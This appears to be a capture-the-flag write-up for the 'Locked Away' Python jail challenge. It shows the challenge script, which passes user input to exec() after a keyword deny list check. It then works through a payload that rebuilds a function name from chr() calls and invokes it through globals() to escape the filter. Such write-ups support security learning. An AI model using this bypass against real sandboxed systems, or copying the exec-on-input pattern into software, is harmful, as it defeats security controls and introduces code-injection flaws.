Locked Away
Challenge Description
A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?
Challenge Overview
The challenge provides the following Python script:
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception as e:
print(e)
print('You have been locked away...')
exit(1337)
Observations
Target Functionality:
Theopen_chest
function is the key to retrieving the flag, as it reads and prints the content of theflag.txt
file. However, this function cannot be directly executed because:exec(command)
enforces a blacklist that blocks specific keywords likeopen
,flag
,eval
,exec
, etc.
Blacklisting Mechanism:
Theblacklist
array ensures that any input containing restricted words is rejected, preventing direct use of sensitive commands.Vulnerability:
Theexec
function dynamically executes the input command, leaving it susceptible to clever bypass techniques.
Bypassing the Blacklist
To execute open_chest
and bypass the blacklist, we must:
Avoid Using Blocked Words:
Directly typingopen_chest()
is invalidated by the blacklist becauseopen
is restricted.Leverage
globals
:
Theglobals()
function returns a dictionary containing all global variables, including theopen_chest
function. Usingglobals().get()
allows indirect access to the function without typing its name directly.Reconstruct the Function Name:
Since the wordopen
is restricted, we can reconstruct the stringopen_chest
character by character using ASCII values.- Use the
ord
function to get the ASCII value of each character. - Use the
chr
function to convert ASCII values back to characters.
- Use the
Payload Construction
The following payload reconstructs open_chest
and executes it:
globals().get(chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116))()
Explanation
Reconstruction:
chr(111)
converts ASCII111
too
.chr(112)
converts ASCII112
top
, and so on.- Concatenating these characters recreates the string
open_chest
.
Function Retrieval:
globals().get("open_chest")
retrieves theopen_chest
function from the global namespace.
Execution:
- Adding
()
at the end calls the function, bypassing the blacklist.
- Adding
Exploitation Process
Connect to the challenge server using netcat:
bashnc <ip> <port>
Submit the crafted payload:
pythonglobals().get(chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116))()
Retrieve the flag from the server's response:
plaintextHTB{f4k3_fLaG_f0r_t3sTiNg}
Locked Away has been Pwned!
Congratulations
0bytes, best of luck in capturing flags ahead!